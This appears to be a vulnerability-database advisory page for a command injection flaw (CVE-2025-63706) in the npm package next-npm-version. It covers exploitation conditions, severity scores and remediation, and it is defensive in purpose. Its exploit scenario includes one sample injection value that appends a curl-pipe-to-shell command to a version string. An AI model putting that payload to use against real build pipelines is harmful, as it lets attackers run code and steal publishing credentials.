Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessInfluence input to release tooling (branch/tag/CI var)
-
DeliveryValue passed to next-npm-version
-
ExploitShell metacharacters break out of child_process
-
ExecutionArbitrary OS command runs in build context
-
ImpactCompromise CI host or publish credentials
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that a project actually depend on and invoke next-npm-version 1.0.1, and that an attacker can control the input string passed to its version/command routine (e.g. a version argument, tag, branch name, or CI variable) so that shell metacharacters reach the underlying child_process call. This is fundamentally limited to environments running the package - a niche developer/release utility - and in practice needs a code path or CI configuration that feeds untrusted data into the tool; there is no listening network service, so despite the CVSS AV:N/PR:N/UI:N vector, real exploitation depends on local invocation and attacker-controlled input rather than default remote access. No authentication is required at the CVSS level (PR:N), and SSVC marks the flaw automatable with total technical impact, but the practical prerequisite of the package being present and fed tainted input sharply constrains realistic attack surface. |
| Impact | The signals conflict sharply and argue against treating this as an urgent priority. The 9.8 CVSS with AV:N/AC:L/PR:N/UI:N implies trivial remote unauthenticated RCE, but this is a developer-facing npm utility with no network service - exploitation realistically requires a developer to run the tool against attacker-influenced input, i.e. a local/supply-chain vector, so AV:N is very likely overstated. Corroborating this, EPSS is only 0.03% (10th percentile) and CISA SSVC records Exploitation: none, meaning no observed exploitation despite the utility's potential for automatable, total-impact abuse. A public gist provides proof-of-concept code, so publicly available exploit code exists, but that is distinct from active exploitation and this is not on CISA KEV. Net: a genuinely dangerous code-execution bug in a near-zero-deployment package, not a fleet-wide emergency. |
| Exploit ScenarioDerived | A developer or CI job invokes next-npm-version with a version/argument value that an attacker can influence - for example a git branch or tag name, or an environment variable in an automated release workflow. The attacker embeds shell metacharacters (e.g. a value like '1.0.0; curl evil.sh | sh') that break out of the underlying child_process command, executing arbitrary OS commands with the privileges of the build process. A proof-of-concept demonstrating the injection is publicly available in a gist (gist.github.com/6en6ar/607368f1fc8fe429f03c6e0d9486ba72). |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 23, 2026
Code injection in the Node.js npm package next-npm-version 1.0.1 (published by afeiship/@jswork) allows attacker-controlled input to be passed into a shell execution context, achieving arbitrary command execution (CWE-94). A proof-of-concept exists in a public gist, though there is no evidence of active exploitation; the EPSS probability is very low (0.03%, 10th percentile) and CISA SSVC rates exploitation as 'none' but automatable with total technical impact. The NVD CVSS of 9.8 (AV:N) appears optimistic for a version-bumping developer utility whose command execution is far more plausibly reached via local/library invocation than remote network access.
RemediationAI
No vendor-released patched version is identified at time of analysis - the references point to a GitHub issue (github.com/afeiship/next-npm-version/issues/1) and the npm package page rather than a tagged fixed release, so upgrading is not currently an option. As the most effective compensating control, remove the next-npm-version dependency from build and release pipelines (its function, bumping npm versions, is replaceable by 'npm version' directly), which eliminates the injection surface entirely with no security downside. If it must remain, never pass untrusted or externally-influenced strings (branch names, tags, CI variables, user input) into its version/command parameters, and run any release tooling that uses it in an isolated, least-privileged CI runner so that a triggered command cannot reach production credentials or hosts. Monitor the npm advisory (https://www.npmjs.com/package/@jswork/next-npm-version) and NVD (https://nvd.nist.gov/vuln/detail/CVE-2025-63706) for a fixed release.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
next-npm-version is a small helper library in the @jswork/afeiship JavaScript ecosystem intended to automate bumping and publishing npm package versions. Such tooling typically shells out to the npm CLI or git using child_process (exec/execSync) with interpolated arguments; when a version string or other parameter is concatenated into that command line without sanitization, shell metacharacters (;, |, `, $()) break out of the intended command - the CWE-94 (Improper Control of Generation of Code / code injection) root cause here manifesting as OS command injection. The CPE data is unusable (cpe:2.3:a:n/a:n/a:*) as MITRE recorded the vendor/product as 'n/a', so the affected component is identified only by the package name and the referenced npm/GitHub artifacts.
Know when N A gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Command runs in a local developer/CI context requiring the tool be invoked (UI:R) with some access to influence input (PR:L, AV:L); successful injection yields full code execution, so C/I/A:H.
Primary rating from Vendor (mitre).
CVSS VectorVendor: mitre
Lifecycle Timeline
3DescriptionCVE.org
NPM package next-npm-version1.0.1 is vulnerable to Command injection.
Executive ViewAI
The npm package next-npm-version (v1.0.1) contains a critical code injection vulnerability enabling arbitrary command execution in development and CI/CD environments. Any organization using this package in build pipelines faces direct risk of malicious code injection into releases. While no active exploitation has been documented, public exploit code exists and the package's position in the release workflow creates a direct supply-chain attack vector.
Remove next-npm-version from all projects. If removal is operationally infeasible short-term, restrict execution to sandboxed, offline build runners; disable outbound network access during package execution; implement strict input whitelisting for all version string inputs; audit all build artifacts and release signatures produced by affected pipelines for tampering; require manual code review of any version bumps. Monitor npm registry and vendor (@jswork) GitHub for patch releases.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr
Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han
A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi
Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc
Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula
Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root
LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(
Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti
Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr
SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg
Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ
Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali
EUVD-2025-209724
GHSA-2xx6-qf7x-grqh
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB